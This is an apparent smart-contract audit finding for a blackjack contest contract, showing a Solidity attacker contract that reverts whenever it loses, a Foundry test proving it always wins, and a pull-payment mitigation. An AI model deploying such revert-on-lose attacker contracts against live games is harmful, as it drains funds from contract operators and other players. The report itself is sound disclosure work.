Submission Details
Severity:
Functions `endGame` send eth away from contract but performs no checks on any address. the player can be an attacker contract revert when lose
**Impact:**
This can break the game logic, players can always win the game by creating an attacker.
**Proof of Concept:**
1. create an attacker contract like following:
```solidity
// SPDX-License-Identifier: UNLICENSED
import {TwentyOne} from "../../src/TwentyOne.sol";
contract BlackJackAttacker {
TwentyOne private twentyOne;
constructor(address payable _twentyOne) {
twentyOne = TwentyOne(_twentyOne);
}
receive() external payable {}
function startGame() public {
twentyOne.startGame{value: 1 ether}();
}
function attack() public {
uint256 initBalance = address(this).balance;
twentyOne.call();
uint256 finalBalance = address(this).balance;
require(finalBalance > initBalance, "revert if lose");
}
}
PLAYER deposits 1 ether to the attacker contract and call
BlackJackAttacker:startGame. Then callBlackJackAttacker:attack.
Add the following code intoTwentyOne.t.sol:
Proof of Code
```solidity import {BlackJackAttacker} from "./mock/BlackJackAttacker.sol"; ... modifier fundTwentyOne() { vm.deal(address(twentyOne), 100 ether); // Fund the contract with 10 ether _; } ... function test_Attacker_never_lose() public fundTwentyOne { vm.startPrank(player1); BlackJackAttacker attacker = new BlackJackAttacker(payable(address(twentyOne))); vm.deal(address(attacker), 10 ether); uint256 initialBalance = address(attacker).balance; // lose the game and revert
attacker.startGame();
vm.warp(block.timestamp + 1);
vm.expectRevert();
// win the game
attacker.attack();
vm.warp(block.timestamp + 2);
attacker.attack();
uint256 finalBalance = address(attacker).balance;
assertEq(finalBalance, initialBalance + 1 ether);
vm.stopPrank();
}
```
Recommended Mitigation:
Instead of direct transfer eth to the winner, game can store the payout first and lock it for a few blocks, then winners need to manually call withdraw to get the payout.
+ uint256 private constant PAYOUT_WAITING_BLOCKS = 10;
+ mapping(address => uint256) private payoutEther;
+ mapping(address => uint256) private minBlockCanWithdraw;
...
function endGame(address player, bool playerWon) internal {
delete playersDeck[player].playersCards; // Clear the player's cards
delete dealersDeck[player].dealersCards; // Clear the dealer's cards
delete availableCards[player]; // Reset the deck
lockedPayoutEther -= PAYOUT;
if (playerWon) {
- payable(player).transfer(2 ether); // remove this line
+ payoutEther[player] += PAYOUT;
+ minBlockCanWithdraw[player] = block.number + PAYOUT_WAITING_BLOCKS;
}
}
...
+ function withdraw() public {
+ uint256 amount = payoutEther[msg.sender];
+ require(amount > 0, "no payout available");
+ require(minBlockCanWithdraw[msg.sender] > 0, "no waiting payout");
+ require(block.number >= minBlockCanWithdraw[msg.sender], "waiting for blocks");
+ minBlockCanWithdraw[msg.sender] = 0;
+ payoutEther[msg.sender] = 0;
+ payable(msg.sender).transfer(amount);
+ emit FeeWithdrawn(msg.sender, amount);
+ }
Updates
Lead Judging Commences
inallhonesty about 1 year ago
Submission Judgement Published Assigned finding tags:
Revert a bad outcome
Rewards breakdown
nSLOC
147This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.